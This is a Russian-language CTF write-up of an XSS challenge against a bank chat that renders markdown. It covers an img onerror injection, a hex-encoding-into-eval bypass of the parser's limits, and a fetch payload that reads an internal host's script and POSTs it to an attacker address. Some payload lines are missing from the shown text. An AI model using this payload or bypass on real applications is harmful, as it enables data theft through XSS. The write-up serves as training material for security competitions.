Разбор Helpless crabster [Web] [CC2020]
RubikoidРазбор последнего задания на банк.

У банка осталась единственная не охваченная пока что функциональность: это чат. Также по тексту становится ясно, что таск на XSS.
Поиск XSSки
Собственно, заходим на сайт, добираемся до чата и начинаем отправлять туда что-то похожее на xssки.
Отправив любую ссылку замечаем, что она превращается в нечто вида [http://addr.su](http://addr.su). Это стандартная конструкция markdown - облегченного языка для разметки текста. Markdown часто рендерится в html для отображения на странице, так что имеет смысл погуглить что-нибудь про xss в markdown - и найти, например, эту статью.
Поигравшись с параметрами, можно заметить, что символы склеенные с ссылкой - также склеены и с результатом в мардауне, например, kekhttp://123.ru трансформируется в kek[http://123.ru](http://123.ru). Также можно заметить, что бот по ссылкам не ходит, а только открывает страницу, и варианты нагрузок, связанные с нажатием на ссылку/кнопку нам не подходят.
Однако, в статье упоминается возможность инъекции в onerror атрибут в тег img, что было бы выходом, поскольку:
)
Транслируется в
<img src="" onerror="alert('XSS') alt="Uh oh...">
А onerror срабатывает без участия пользователя, если загрузить данные из атрибута src не вышло.
Тут есть один момент - если посмотреть в трафик через devtools, видно, что обработка ссылок происходит на клиенте, то есть на сервер отсылается уже markdown разметка. Конкретно - в jsнике 8-es2015.7b7a20b16a05600aa802.js, сама функция обработки - это просто регулярка, которая выглядит так:
const t = this.form.value.message.replace(/https?:\/\/([\w-_]+\.?)+(\?.+)?(#.+)?/g, t=>`[${t}](${t})`);
Дальше можно либо извращаться с конструкциями типа !http://<smth>#"onerror=" для обхода регулярки, либо отправлять запросы на сервер напрямую через браузер, однако, я решил написать небольшой клиент для socketio и уйти от браузера в этой схеме.
SocketIO Client
Чтобы обойти обработку ссылок на клиенте, и иметь возможно засылать всё, что хочется - написал небольшой клиент для socket.io, хотя, в принципе, это не обязательно, и задание решается чисто через чат, просто так удобней:

С таким клиентом и историй запросов просто чуть удобней пробовать разные пейлоады (а вариантов, пока додумался до правильного и работающего, было много).
Пывн
Собственно, любая нагрузка выглядела так:

Однако, были некоторые ограничения в силу кривоты парсера markdown: нельзя было использовать символы =, кавычки, пробелы, и так далее. Кроме того, из-за тех же особенностей парсера, можно было использовать только одну закрывающую скобку во всём запросе. В итоге, пришлось придумывать различные обходные пути для выполнения нагрузки сложнее простого отстука.
Первым делом, нужно было получить отстук от бота, чтобы понять, что xssка вообще работает. Это делается простым fetch'ем, вида:
)
Дальше можно попробовать достать код страницы:
)
В итоге, из этого можно собрать интересные цепочки для проверки работы различных вариантов - первый гарантированно работающий fetch, чтобы узнать, что бот прочитал сообщение, некоторый тестируемый код и финальный fetch, отправляющий код страницы. Создание такой цепочки сильно упрощает понимает механизмов работы рендерера и ускоряет процесс создания итогового payload'a.
Изначально, моей целью было добавить на страницу script, и уйти от ограничений парсера маркдауна, однако нормальными методами этого добиться не удалось.
В итоге появилась мысль закодировать все символы, которые не переваривает парсер, в хексы (например ( -> \x28), и после запихнуть это в eval. Вариант с eval + atob не работал из-за особенностей обработки скобок.
Для кодирования нагрузки внутрь eval'а можно использовать такой рецепт для кибершефа.
Таком образом, появляется возможность выполнять любой код.
Между тем, ещё при проверке работы XSS'ки можно было заметить, что запросы приходит с referer http://web-cms, что выглядит, как внутренний хост, недоступный снаружи, и следовательно, запросы к нему можно делать только через xss'ку.
Немного подергав различные файлы с сайта, в итоге флаг обнаруживается в недрах js-скрипта main-es2015.2fe4f0f867674e368081.js.
Собственно, нагрузка в eval выглядит примерно так:
fetch('http://web-cms/main-es2015.2fe4f0f867674e368081.js',{method:'GET'}).then((r) => { return r.text(); }).then((r) => {
fetch('http://<addr>',{method:'POST',body:r});
});
После энкода:
fetch\\x28\\x27http\\x3A\\x2F\\x2Fweb\\x2Dcms\\x2Fmain\\x2Des2015\\x2E2fe4f0f867674e368081\\x2Ejs\\x27\\x2C\\x7Bmethod\\x3A\\x27GET\\x27\\x7D\\x29\\x2Ethen\\x28\\x28r\\x29\\x20\\x3D\\x3E\\x20\\x7B\\x20return\\x20r\\x2Etext\\x28\\x29\\x3B\\x20\\x7D\\x29\\x2Ethen\\x28\\x28r\\x29\\x20\\x3D\\x3E\\x20\\x7B\\x0Afetch\\x28\\x27http\\x3A\\x2F\\x2F\\x3Caddr\\x3E\\x27\\x2C\\x7Bmethod\\x3A\\x27POST\\x27\\x2Cbody\\x3Ar\\x7D\\x29\\x3B\\x0A\\x7D\\x29\\x3B
И вставки в eval: ):
)